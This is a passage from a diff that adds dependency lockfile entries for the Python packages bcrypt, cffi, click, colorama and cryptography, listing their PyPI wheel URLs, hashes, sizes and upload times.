upload-time = "2025-09-25T19:50:15.089Z" }, + { url = "https://files.pythonhosted.org/packages/36/c4/ed00ed32f1040f7990dac7115f82273e3c03da1e1a1587a778d8cea496d8/bcrypt-5.0.0-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:f0ce778135f60799d89c9693b9b398819d15f1921ba15fe719acb3178215a7db", size = 276084, upload-time = "2025-09-25T19:50:16.699Z" }, + { url = "https://files.pythonhosted.org/packages/e7/c4/fa6e16145e145e87f1fa351bbd54b429354fd72145cd3d4e0c5157cf4c70/bcrypt-5.0.0-cp39-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a71f70ee269671460b37a449f5ff26982a6f2ba493b3eabdd687b4bf35f875ac", size = 297185, upload-time = "2025-09-25T19:50:18.525Z" }, + { url = "https://files.pythonhosted.org/packages/24/b4/11f8a31d8b67cca3371e046db49baa7c0594d71eb40ac8121e2fc0888db0/bcrypt-5.0.0-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:f8429e1c410b4073944f03bd778a9e066e7fad723564a52ff91841d278dfc822", size = 278656, upload-time = "2025-09-25T19:50:19.809Z" }, + { url = "https://files.pythonhosted.org/packages/ac/31/79f11865f8078e192847d2cb526e3fa27c200933c982c5b2869720fa5fce/bcrypt-5.0.0-cp39-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:edfcdcedd0d0f05850c52ba3127b1fce70b9f89e0fe5ff16517df7e81fa3cbb8", size = 275662, upload-time = "2025-09-25T19:50:21.567Z" }, + { url = "https://files.pythonhosted.org/packages/d4/8d/5e43d9584b3b3591a6f9b68f755a4da879a59712981ef5ad2a0ac1379f7a/bcrypt-5.0.0-cp39-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:611f0a17aa4a25a69362dcc299fda5c8a3d4f160e2abb3831041feb77393a14a", size = 278240, upload-time = "2025-09-25T19:50:23.305Z" }, + { url = "https://files.pythonhosted.org/packages/89/48/44590e3fc158620f680a978aafe8f87a4c4320da81ed11552f0323aa9a57/bcrypt-5.0.0-cp39-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:db99dca3b1fdc3db87d7c57eac0c82281242d1eabf19dcb8a6b10eb29a2e72d1", size = 311152, upload-time = "2025-09-25T19:50:24.597Z" }, + { url = "https://files.pythonhosted.org/packages/5f/85/e4fbfc46f14f47b0d20493669a625da5827d07e8a88ee460af6cd9768b44/bcrypt-5.0.0-cp39-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:5feebf85a9cefda32966d8171f5db7e3ba964b77fdfe31919622256f80f9cf42", size = 313284, upload-time = "2025-09-25T19:50:26.268Z" }, + { url = "https://files.pythonhosted.org/packages/25/ae/479f81d3f4594456a01ea2f05b132a519eff9ab5768a70430fa1132384b1/bcrypt-5.0.0-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:3ca8a166b1140436e058298a34d88032ab62f15aae1c598580333dc21d27ef10", size = 341643, upload-time = "2025-09-25T19:50:28.02Z" }, + { url = "https://files.pythonhosted.org/packages/df/d2/36a086dee1473b14276cd6ea7f61aef3b2648710b5d7f1c9e032c29b859f/bcrypt-5.0.0-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:61afc381250c3182d9078551e3ac3a41da14154fbff647ddf52a769f588c4172", size = 359698, upload-time = "2025-09-25T19:50:31.347Z" }, + { url = "https://files.pythonhosted.org/packages/c0/f6/688d2cd64bfd0b14d805ddb8a565e11ca1fb0fd6817175d58b10052b6d88/bcrypt-5.0.0-cp39-abi3-win32.whl", hash = "sha256:64d7ce196203e468c457c37ec22390f1a61c85c6f0b8160fd752940ccfb3a683", size = 153725, upload-time = "2025-09-25T19:50:34.384Z" }, + { url = "https://files.pythonhosted.org/packages/9f/b9/9d9a641194a730bda138b3dfe53f584d61c58cd5230e37566e83ec2ffa0d/bcrypt-5.0.0-cp39-abi3-win_amd64.whl", hash = "sha256:64ee8434b0da054d830fa8e89e1c8bf30061d539044a39524ff7dec90481e5c2", size = 150912, upload-time = "2025-09-25T19:50:35.69Z" }, + { url = "https://files.pythonhosted.org/packages/27/44/d2ef5e87509158ad2187f4dd0852df80695bb1ee0cfe0a684727b01a69e0/bcrypt-5.0.0-cp39-abi3-win_arm64.whl", hash = "sha256:f2347d3534e76bf50bca5500989d6c1d05ed64b440408057a37673282c654927", size = 144953, upload-time = "2025-09-25T19:50:37.32Z" }, +] + +[[package]] +name = "cffi" +version = "2.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pycparser", marker = "implementation_name != 'PyPy'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/eb/56/b1ba7935a17738ae8453301356628e8147c79dbb825bcbc73dc7401f9846/cffi-2.0.0.tar.gz", hash = "sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529", size = 523588, upload-time = "2025-09-08T23:24:04.541Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ea/47/4f61023ea636104d4f16ab488e268b93008c3d0bb76893b1b31db1f96802/cffi-2.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:6d02d6655b0e54f54c4ef0b94eb6be0607b70853c45ce98bd278dc7de718be5d", size = 185271, upload-time = "2025-09-08T23:22:44.795Z" }, + { url = "https://files.pythonhosted.org/packages/df/a2/781b623f57358e360d62cdd7a8c681f074a71d445418a776eef0aadb4ab4/cffi-2.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8eca2a813c1cb7ad4fb74d368c2ffbbb4789d377ee5bb8df98373c2cc0dee76c", size = 181048, upload-time = "2025-09-08T23:22:45.938Z" }, + { url = "https://files.pythonhosted.org/packages/ff/df/a4f0fbd47331ceeba3d37c2e51e9dfc9722498becbeec2bd8bc856c9538a/cffi-2.0.0-cp312-cp312-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:21d1152871b019407d8ac3985f6775c079416c282e431a4da6afe7aefd2bccbe", size = 212529, upload-time = "2025-09-08T23:22:47.349Z" }, + { url = "https://files.pythonhosted.org/packages/d5/72/12b5f8d3865bf0f87cf1404d8c374e7487dcf097a1c91c436e72e6badd83/cffi-2.0.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b21e08af67b8a103c71a250401c78d5e0893beff75e28c53c98f4de42f774062", size = 220097, upload-time = "2025-09-08T23:22:48.677Z" }, + { url = "https://files.pythonhosted.org/packages/c2/95/7a135d52a50dfa7c882ab0ac17e8dc11cec9d55d2c18dda414c051c5e69e/cffi-2.0.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:1e3a615586f05fc4065a8b22b8152f0c1b00cdbc60596d187c2a74f9e3036e4e", size = 207983, upload-time = "2025-09-08T23:22:50.06Z" }, + { url = "https://files.pythonhosted.org/packages/3a/c8/15cb9ada8895957ea171c62dc78ff3e99159ee7adb13c0123c001a2546c1/cffi-2.0.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:81afed14892743bbe14dacb9e36d9e0e504cd204e0b165062c488942b9718037", size = 206519, upload-time = "2025-09-08T23:22:51.364Z" }, + { url = "https://files.pythonhosted.org/packages/78/2d/7fa73dfa841b5ac06c7b8855cfc18622132e365f5b81d02230333ff26e9e/cffi-2.0.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:3e17ed538242334bf70832644a32a7aae3d83b57567f9fd60a26257e992b79ba", size = 219572, upload-time = "2025-09-08T23:22:52.902Z" }, + { url = "https://files.pythonhosted.org/packages/07/e0/267e57e387b4ca276b90f0434ff88b2c2241ad72b16d31836adddfd6031b/cffi-2.0.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3925dd22fa2b7699ed2617149842d2e6adde22b262fcbfada50e3d195e4b3a94", size = 222963, upload-time = "2025-09-08T23:22:54.518Z" }, + { url = "https://files.pythonhosted.org/packages/b6/75/1f2747525e06f53efbd878f4d03bac5b859cbc11c633d0fb81432d98a795/cffi-2.0.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:2c8f814d84194c9ea681642fd164267891702542f028a15fc97d4674b6206187", size = 221361, upload-time = "2025-09-08T23:22:55.867Z" }, + { url = "https://files.pythonhosted.org/packages/7b/2b/2b6435f76bfeb6bbf055596976da087377ede68df465419d192acf00c437/cffi-2.0.0-cp312-cp312-win32.whl", hash = "sha256:da902562c3e9c550df360bfa53c035b2f241fed6d9aef119048073680ace4a18", size = 172932, upload-time = "2025-09-08T23:22:57.188Z" }, + { url = "https://files.pythonhosted.org/packages/f8/ed/13bd4418627013bec4ed6e54283b1959cf6db888048c7cf4b4c3b5b36002/cffi-2.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:da68248800ad6320861f129cd9c1bf96ca849a2771a59e0344e88681905916f5", size = 183557, upload-time = "2025-09-08T23:22:58.351Z" }, + { url = "https://files.pythonhosted.org/packages/95/31/9f7f93ad2f8eff1dbc1c3656d7ca5bfd8fb52c9d786b4dcf19b2d02217fa/cffi-2.0.0-cp312-cp312-win_arm64.whl", hash = "sha256:4671d9dd5ec934cb9a73e7ee9676f9362aba54f7f34910956b84d727b0d73fb6", size = 177762, upload-time = "2025-09-08T23:22:59.668Z" }, + { url = "https://files.pythonhosted.org/packages/4b/8d/a0a47a0c9e413a658623d014e91e74a50cdd2c423f7ccfd44086ef767f90/cffi-2.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:00bdf7acc5f795150faa6957054fbbca2439db2f775ce831222b66f192f03beb", size = 185230, upload-time = "2025-09-08T23:23:00.879Z" }, + { url = "https://files.pythonhosted.org/packages/4a/d2/a6c0296814556c68ee32009d9c2ad4f85f2707cdecfd7727951ec228005d/cffi-2.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:45d5e886156860dc35862657e1494b9bae8dfa63bf56796f2fb56e1679fc0bca", size = 181043, upload-time = "2025-09-08T23:23:02.231Z" }, + { url = "https://files.pythonhosted.org/packages/b0/1e/d22cc63332bd59b06481ceaac49d6c507598642e2230f201649058a7e704/cffi-2.0.0-cp313-cp313-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:07b271772c100085dd28b74fa0cd81c8fb1a3ba18b21e03d7c27f3436a10606b", size = 212446, upload-time = "2025-09-08T23:23:03.472Z" }, + { url = "https://files.pythonhosted.org/packages/a9/f5/a2c23eb03b61a0b8747f211eb716446c826ad66818ddc7810cc2cc19b3f2/cffi-2.0.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d48a880098c96020b02d5a1f7d9251308510ce8858940e6fa99ece33f610838b", size = 220101, upload-time = "2025-09-08T23:23:04.792Z" }, + { url = "https://files.pythonhosted.org/packages/f2/7f/e6647792fc5850d634695bc0e6ab4111ae88e89981d35ac269956605feba/cffi-2.0.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:f93fd8e5c8c0a4aa1f424d6173f14a892044054871c771f8566e4008eaa359d2", size = 207948, upload-time = "2025-09-08T23:23:06.127Z" }, + { url = "https://files.pythonhosted.org/packages/cb/1e/a5a1bd6f1fb30f22573f76533de12a00bf274abcdc55c8edab639078abb6/cffi-2.0.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:dd4f05f54a52fb558f1ba9f528228066954fee3ebe629fc1660d874d040ae5a3", size = 206422, upload-time = "2025-09-08T23:23:07.753Z" }, + { url = "https://files.pythonhosted.org/packages/98/df/0a1755e750013a2081e863e7cd37e0cdd02664372c754e5560099eb7aa44/cffi-2.0.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c8d3b5532fc71b7a77c09192b4a5a200ea992702734a2e9279a37f2478236f26", size = 219499, upload-time = "2025-09-08T23:23:09.648Z" }, + { url = "https://files.pythonhosted.org/packages/50/e1/a969e687fcf9ea58e6e2a928ad5e2dd88cc12f6f0ab477e9971f2309b57c/cffi-2.0.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d9b29c1f0ae438d5ee9acb31cadee00a58c46cc9c0b2f9038c6b0b3470877a8c", size = 222928, upload-time = "2025-09-08T23:23:10.928Z" }, + { url = "https://files.pythonhosted.org/packages/36/54/0362578dd2c9e557a28ac77698ed67323ed5b9775ca9d3fe73fe191bb5d8/cffi-2.0.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6d50360be4546678fc1b79ffe7a66265e28667840010348dd69a314145807a1b", size = 221302, upload-time = "2025-09-08T23:23:12.42Z" }, + { url = "https://files.pythonhosted.org/packages/eb/6d/bf9bda840d5f1dfdbf0feca87fbdb64a918a69bca42cfa0ba7b137c48cb8/cffi-2.0.0-cp313-cp313-win32.whl", hash = "sha256:74a03b9698e198d47562765773b4a8309919089150a0bb17d829ad7b44b60d27", size = 172909, upload-time = "2025-09-08T23:23:14.32Z" }, + { url = "https://files.pythonhosted.org/packages/37/18/6519e1ee6f5a1e579e04b9ddb6f1676c17368a7aba48299c3759bbc3c8b3/cffi-2.0.0-cp313-cp313-win_amd64.whl", hash = "sha256:19f705ada2530c1167abacb171925dd886168931e0a7b78f5bffcae5c6b5be75", size = 183402, upload-time = "2025-09-08T23:23:15.535Z" }, + { url = "https://files.pythonhosted.org/packages/cb/0e/02ceeec9a7d6ee63bb596121c2c8e9b3a9e150936f4fbef6ca1943e6137c/cffi-2.0.0-cp313-cp313-win_arm64.whl", hash = "sha256:256f80b80ca3853f90c21b23ee78cd008713787b1b1e93eae9f3d6a7134abd91", size = 177780, upload-time = "2025-09-08T23:23:16.761Z" }, + { url = "https://files.pythonhosted.org/packages/92/c4/3ce07396253a83250ee98564f8d7e9789fab8e58858f35d07a9a2c78de9f/cffi-2.0.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:fc33c5141b55ed366cfaad382df24fe7dcbc686de5be719b207bb248e3053dc5", size = 185320, upload-time = "2025-09-08T23:23:18.087Z" }, + { url = "https://files.pythonhosted.org/packages/59/dd/27e9fa567a23931c838c6b02d0764611c62290062a6d4e8ff7863daf9730/cffi-2.0.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c654de545946e0db659b3400168c9ad31b5d29593291482c43e3564effbcee13", size = 181487, upload-time = "2025-09-08T23:23:19.622Z" }, + { url = "https://files.pythonhosted.org/packages/d6/43/0e822876f87ea8a4ef95442c3d766a06a51fc5298823f884ef87aaad168c/cffi-2.0.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:24b6f81f1983e6df8db3adc38562c83f7d4a0c36162885ec7f7b77c7dcbec97b", size = 220049, upload-time = "2025-09-08T23:23:20.853Z" }, + { url = "https://files.pythonhosted.org/packages/b4/89/76799151d9c2d2d1ead63c2429da9ea9d7aac304603de0c6e8764e6e8e70/cffi-2.0.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:12873ca6cb9b0f0d3a0da705d6086fe911591737a59f28b7936bdfed27c0d47c", size = 207793, upload-time = "2025-09-08T23:23:22.08Z" }, + { url = "https://files.pythonhosted.org/packages/bb/dd/3465b14bb9e24ee24cb88c9e3730f6de63111fffe513492bf8c808a3547e/cffi-2.0.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:d9b97165e8aed9272a6bb17c01e3cc5871a594a446ebedc996e2397a1c1ea8ef", size = 206300, upload-time = "2025-09-08T23:23:23.314Z" }, + { url = "https://files.pythonhosted.org/packages/47/d9/d83e293854571c877a92da46fdec39158f8d7e68da75bf73581225d28e90/cffi-2.0.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:afb8db5439b81cf9c9d0c80404b60c3cc9c3add93e114dcae767f1477cb53775", size = 219244, upload-time = "2025-09-08T23:23:24.541Z" }, + { url = "https://files.pythonhosted.org/packages/2b/0f/1f177e3683aead2bb00f7679a16451d302c436b5cbf2505f0ea8146ef59e/cffi-2.0.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:737fe7d37e1a1bffe70bd5754ea763a62a066dc5913ca57e957824b72a85e205", size = 222828, upload-time = "2025-09-08T23:23:26.143Z" }, + { url = "https://files.pythonhosted.org/packages/c6/0f/cafacebd4b040e3119dcb32fed8bdef8dfe94da653155f9d0b9dc660166e/cffi-2.0.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:38100abb9d1b1435bc4cc340bb4489635dc2f0da7456590877030c9b3d40b0c1", size = 220926, upload-time = "2025-09-08T23:23:27.873Z" }, + { url = "https://files.pythonhosted.org/packages/3e/aa/df335faa45b395396fcbc03de2dfcab242cd61a9900e914fe682a59170b1/cffi-2.0.0-cp314-cp314-win32.whl", hash = "sha256:087067fa8953339c723661eda6b54bc98c5625757ea62e95eb4898ad5e776e9f", size = 175328, upload-time = "2025-09-08T23:23:44.61Z" }, + { url = "https://files.pythonhosted.org/packages/bb/92/882c2d30831744296ce713f0feb4c1cd30f346ef747b530b5318715cc367/cffi-2.0.0-cp314-cp314-win_amd64.whl", hash = "sha256:203a48d1fb583fc7d78a4c6655692963b860a417c0528492a6bc21f1aaefab25", size = 185650, upload-time = "2025-09-08T23:23:45.848Z" }, + { url = "https://files.pythonhosted.org/packages/9f/2c/98ece204b9d35a7366b5b2c6539c350313ca13932143e79dc133ba757104/cffi-2.0.0-cp314-cp314-win_arm64.whl", hash = "sha256:dbd5c7a25a7cb98f5ca55d258b103a2054f859a46ae11aaf23134f9cc0d356ad", size = 180687, upload-time = "2025-09-08T23:23:47.105Z" }, + { url = "https://files.pythonhosted.org/packages/3e/61/c768e4d548bfa607abcda77423448df8c471f25dbe64fb2ef6d555eae006/cffi-2.0.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:9a67fc9e8eb39039280526379fb3a70023d77caec1852002b4da7e8b270c4dd9", size = 188773, upload-time = "2025-09-08T23:23:29.347Z" }, + { url = "https://files.pythonhosted.org/packages/2c/ea/5f76bce7cf6fcd0ab1a1058b5af899bfbef198bea4d5686da88471ea0336/cffi-2.0.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7a66c7204d8869299919db4d5069a82f1561581af12b11b3c9f48c584eb8743d", size = 185013, upload-time = "2025-09-08T23:23:30.63Z" }, + { url = "https://files.pythonhosted.org/packages/be/b4/c56878d0d1755cf9caa54ba71e5d049479c52f9e4afc230f06822162ab2f/cffi-2.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:7cc09976e8b56f8cebd752f7113ad07752461f48a58cbba644139015ac24954c", size = 221593, upload-time = "2025-09-08T23:23:31.91Z" }, + { url = "https://files.pythonhosted.org/packages/e0/0d/eb704606dfe8033e7128df5e90fee946bbcb64a04fcdaa97321309004000/cffi-2.0.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:92b68146a71df78564e4ef48af17551a5ddd142e5190cdf2c5624d0c3ff5b2e8", size = 209354, upload-time = "2025-09-08T23:23:33.214Z" }, + { url = "https://files.pythonhosted.org/packages/d8/19/3c435d727b368ca475fb8742ab97c9cb13a0de600ce86f62eab7fa3eea60/cffi-2.0.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:b1e74d11748e7e98e2f426ab176d4ed720a64412b6a15054378afdb71e0f37dc", size = 208480, upload-time = "2025-09-08T23:23:34.495Z" }, + { url = "https://files.pythonhosted.org/packages/d0/44/681604464ed9541673e486521497406fadcc15b5217c3e326b061696899a/cffi-2.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:28a3a209b96630bca57cce802da70c266eb08c6e97e5afd61a75611ee6c64592", size = 221584, upload-time = "2025-09-08T23:23:36.096Z" }, + { url = "https://files.pythonhosted.org/packages/25/8e/342a504ff018a2825d395d44d63a767dd8ebc927ebda557fecdaca3ac33a/cffi-2.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7553fb2090d71822f02c629afe6042c299edf91ba1bf94951165613553984512", size = 224443, upload-time = "2025-09-08T23:23:37.328Z" }, + { url = "https://files.pythonhosted.org/packages/e1/5e/b666bacbbc60fbf415ba9988324a132c9a7a0448a9a8f125074671c0f2c3/cffi-2.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:6c6c373cfc5c83a975506110d17457138c8c63016b563cc9ed6e056a82f13ce4", size = 223437, upload-time = "2025-09-08T23:23:38.945Z" }, + { url = "https://files.pythonhosted.org/packages/a0/1d/ec1a60bd1a10daa292d3cd6bb0b359a81607154fb8165f3ec95fe003b85c/cffi-2.0.0-cp314-cp314t-win32.whl", hash = "sha256:1fc9ea04857caf665289b7a75923f2c6ed559b8298a1b8c49e59f7dd95c8481e", size = 180487, upload-time = "2025-09-08T23:23:40.423Z" }, + { url = "https://files.pythonhosted.org/packages/bf/41/4c1168c74fac325c0c8156f04b6749c8b6a8f405bbf91413ba088359f60d/cffi-2.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:d68b6cef7827e8641e8ef16f4494edda8b36104d79773a334beaa1e3521430f6", size = 191726, upload-time = "2025-09-08T23:23:41.742Z" }, + { url = "https://files.pythonhosted.org/packages/ae/3a/dbeec9d1ee0844c679f6bb5d6ad4e9f198b1224f4e7a32825f47f6192b0c/cffi-2.0.0-cp314-cp314t-win_arm64.whl", hash = "sha256:0a1527a803f0a659de1af2e1fd700213caba79377e27e4693648c2923da066f9", size = 184195, upload-time = "2025-09-08T23:23:43.004Z" }, +] + +[[package]] +name = "click" +version = "8.3.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "colorama", marker = "sys_platform == 'win32'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/57/75/31212c6bf2503fdf920d87fee5d7a86a2e3bcf444984126f13d8e4016804/click-8.3.2.tar.gz", hash = "sha256:14162b8b3b3550a7d479eafa77dfd3c38d9dc8951f6f69c78913a8f9a7540fd5", size = 302856, upload-time = "2026-04-03T19:14:45.118Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e4/20/71885d8b97d4f3dde17b1fdb92dbd4908b00541c5a3379787137285f602e/click-8.3.2-py3-none-any.whl", hash = "sha256:1924d2c27c5653561cd2cae4548d1406039cb79b858b747cfea24924bbc1616d", size = 108379, upload-time = "2026-04-03T19:14:43.505Z" }, +] + +[[package]] +name = "colorama" +version = "0.4.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" }, +] + +[[package]] +name = "cryptography" +version = "46.0.7" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cffi", marker = "platform_python_implementation != 'PyPy'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/47/93/ac8f3d5ff04d54bc814e961a43ae5b0b146154c89c61b47bb07557679b18/cryptography-46.0.7.tar.gz", hash = "sha256:e4cfd68c5f3e0bfdad0d38e023239b96a2fe84146481852dffbcca442c245aa5", size = 750652, upload-time = "2026-04-08T01:57:54.692Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0b/5d/4a8f770695d73be252331e60e526291e3df0c9b27556a90a6b47bccca4c2/cryptography-46.0.7-cp311-abi3-macosx_10_9_universal2.whl", hash = "sha256:ea42cbe97209df307fdc3b155f1b6fa2577c0defa8f1f7d3be7d31d189108ad4", size = 7179869, upload-time = "2026-04-08T01:56:17.157Z" }, + { url = "https://files.pythonhosted.org/packages/5f/45/6d80dc379b0bbc1f9d1e429f42e4cb9e1d319c7a8201beffd967c516ea01/cryptography-46.0.7-cp311-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b36a4695e29fe69215d75960b22577197aca3f7a25b9cf9d165dcfe9d80bc325", size = 4275492, upload-time = "2026-04-08T01:56:19.36Z" }, + { url = "https://files.pythonhosted.org/packages/4a/9a/1765afe9f572e239c3469f2cb429f3ba7b31878c893b246b4b2994ffe2fe/cryptography-46.0.7-cp311-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5ad9ef796328c5e3c4ceed237a183f5d41d21150f972455a9d926593a1dcb308", size = 4426670, upload-time = "2026-04-08T01:56:21.415Z" }, + { url = "https://files.pythonhosted.org/packages/8f/3e/af9246aaf23cd4ee060699adab1e47ced3f5f7e7a8ffdd339f817b446462/cryptography-46.0.7-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:73510b83623e080a2c35c62c15298096e2a5dc8d51c3b4e1740211839d0dea77", size = 4280275, upload-time = "2026-04-08T01:56:23.539Z" }, + { url = "https://files.pythonhosted.org/packages/0f/54/6bbbfc5efe86f9d71041827b793c24811a017c6ac0fd12883e4caa86b8ed/cryptography-46.0.7-cp311-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:cbd5fb06b62bd0721e1170273d3f4d5a277044c47ca27ee257025146c34cbdd1", size = 4928402, upload-time = "2026-04-08T01:56:25.624Z" }, + { url = "https://files.pythonhosted.org/packages/2d/cf/054b9d8220f81509939599c8bdbc0c408dbd2bdd41688616a20731371fe0/cryptography-46.0.7-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:420b1e4109cc95f0e5700eed79908cef9268265c773d3a66f7af1eef53d409ef", size = 4459985, upload-time = "2026-04-08T01:56:27.309Z" }, + { url = "https://files.pythonhosted.org/packages/f9/46/4e4e9c6040fb01c7467d47217d2f882daddeb8828f7df800cb806d8a2288/cryptography-46.0.7-cp311-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:24402210aa54baae71d99441d15bb5a1919c195398a87b563df84468160a65de", size = 3990652, upload-time = "2026-04-08T01:56:29.095Z" }, + { url = "https://files.pythonhosted.org/packages/36/5f/313586c3be5a2fbe87e4c9a254207b860155a8e1f3cca99f9910008e7d08/cryptography-46.0.7-cp311-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:8a469028a86f12eb7d2fe97162d0634026d92a21f3ae0ac87ed1c4a447886c83", size = 4279805, upload-time = "2026-04-08T01:56:30.928Z" }, + { url = "https://files.pythonhosted.org/packages/69/33/60dfc4595f334a2082749673386a4d05e4f0cf4df8248e63b2c3437585f2/cryptography-46.0.7-cp311-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:9694078c5d44c157ef3162e3bf3946510b857df5a3955458381d1c7cfc143ddb", size = 4892883, upload-time = "2026-04-08T01:56:32.614Z" }, + { url = "https://files.pythonhosted.org/packages/c7/0b/333ddab4270c4f5b972f980adef4faa66951a4aaf646ca067af597f15563/cryptography-46.0.7-cp311-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:42a1e5f98abb6391717978baf9f90dc28a743b7d9be7f0751a6f56a75d14065b", size = 4459756, upload-time = "2026-04-08T01:56:34.306Z" }, + { url = "https://files.pythonhosted.org/packages/d2/14/633913398b43b75f1234834170947957c6b623d1701ffc7a9600da907e89/cryptography-46.0.7-cp311-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:91bbcb08347344f810cbe49065914fe048949648f6bd5c2519f34619142bbe85", size = 4410244, upload-time = "2026-04-08T01:56:35.977Z" }, + { url = "https://files.pythonhosted.org/packages/10/f2/19ceb3b3dc14009373432af0c13f46aa08e3ce334ec6eff13492e1812ccd/cryptography-46.0.7-cp311-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:5d1c02a14ceb9148cc7816249f64f623fbfee39e8c03b3650d842ad3f34d637e", size = 4674868, upload-time = "2026-04-08T01:56:38.034Z" }, + { url = "https://files.pythonhosted.org/packages/1a/bb/a5c213c19ee94b15dfccc48f363738633a493812687f5567addbcbba9f6f/cryptography-46.0.7-cp311-abi3-win32.whl", hash = "sha256:d23c8ca48e44ee015cd0a54aeccdf9f09004eba9fc96f38c911011d9ff1bd457", size = 3026504, upload-time = "2026-04-08T01:56:39.666Z" }, + { url = "https://files.pythonhosted.org/packages/2b/02/7788f9fefa1d060ca68717c3901ae7fffa21ee087a90b7f23c7a603c32ae/cryptography-46.0.7-cp311-abi3-win_amd64.whl", hash = "sha256:397655da831414d165029da9bc483bed2fe0e75dde6a1523ec2fe63f3c46046b", size = 3488363, upload-time = "2026-04-08T01:56:41.893Z" }, + { url = "https://files.pythonhosted.org/packages/7b/56/15619b210e689c5403bb0540e4cb7dbf11a6bf42e483b7644e471a2812b3/cryptography-46.0.7-cp314-cp314t-macosx_10_9_universal2.whl", hash = "sha256:d151173275e1728cf7839aaa80c34fe550c04ddb27b34f48c232193df8db5842", size = 7119671, upload-time = "2026-04-08T01:56:44Z" }, + { url = "https://files.pythonhosted.org/packages/74/66/e3ce040721b0b5599e175ba91ab08884c75928fbeb74597dd10ef13505d2/cryptography-46.0.7-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = 